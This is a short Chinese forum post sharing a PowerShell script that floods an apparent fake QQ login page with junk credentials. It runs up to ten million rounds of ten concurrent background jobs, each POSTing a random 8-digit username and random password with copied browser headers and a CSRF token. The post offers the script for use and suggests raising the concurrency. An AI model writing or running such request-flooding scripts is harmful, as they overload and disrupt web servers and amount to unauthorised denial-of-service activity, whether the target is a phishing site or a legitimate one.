|
发表于 2024-4-8 15:57:11
|
显示全部楼层
本帖最后由 cangshui 于 2024-4-8 16:12 编辑
- # 设置请求头
- $headers = @{
- "authority"="m.llooqq3z006.top"
- "method"="POST"
- "path"="/qq/login"
- "scheme"="https"
- "accept"="*/*"
- "accept-encoding"="gzip, deflate, br, zstd"
- "accept-language"="zh-CN,zh;q=0.9,en;q=0.8"
- "origin"="https://m.llooqq3z006.top"
- "referer"="https://m.llooqq3z006.top/qq/login?id=8"
- "sec-ch-ua"="`"Google Chrome`";v=`"123`", `"Not:A-Brand`";v=`"8`", `"Chromium`";v=`"123`""
- "sec-ch-ua-mobile"="?0"
- "sec-ch-ua-platform"="`"Windows`""
- "sec-fetch-dest"="empty"
- "sec-fetch-mode"="cors"
- "sec-fetch-site"="same-origin"
- "x-csrf-token"="NzGprpRTbQwKURedzKVZakK4vrVD7Iox2ApkqjpQ"
- "x-requested-with"="XMLHttpRequest"
- }
- # 设置请求参数和 URL
- $url = "https://m.llooqq3z006.top/qq/login"
- $id = "8"
- $area = ""
- for ($i = 1; $i -le 10000000; $i++) {
- # 开始并发执行任务
- $parallel = 10 # 修改并发数,根据需要调整
- for ($i = 1; $i -le $parallel; $i++) {
- $username = Get-Random -Minimum 10000000 -Maximum 99999999
- Start-Job -ScriptBlock {
- param (
- $url,
- $id,
- $headers,
- $username,
- $area
- )
-
- # 生成随机密码
- $passwordLength = Get-Random -Minimum 10 -Maximum 15
- $password = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count $passwordLength | ForEach-Object {[char]$_})
-
- # 设置请求体
- $body = "id=$id&username=$username&password=$password&area=$area"
- # 发送请求
- Invoke-WebRequest -UseBasicParsing -Uri $url -Method "POST" -Headers $headers -ContentType "application/x-www-form-urlencoded; charset=UTF-8" -Body $body
- # 输出请求信息,可选
- Write-Output "请求使用账号: $username ,密码: $password"
- } -ArgumentList $url, $id, $headers, $username, $area | Out-Null
- }
- # 等待所有任务完成
- Get-Job | Wait-Job
- # 获取所有任务的输出
- Get-Job | Receive-Job
- # 清理任务
- Get-Job | Remove-Job
- }
复制代码
刷请求powershell脚本,并发10,机器内存大可以调高 |
|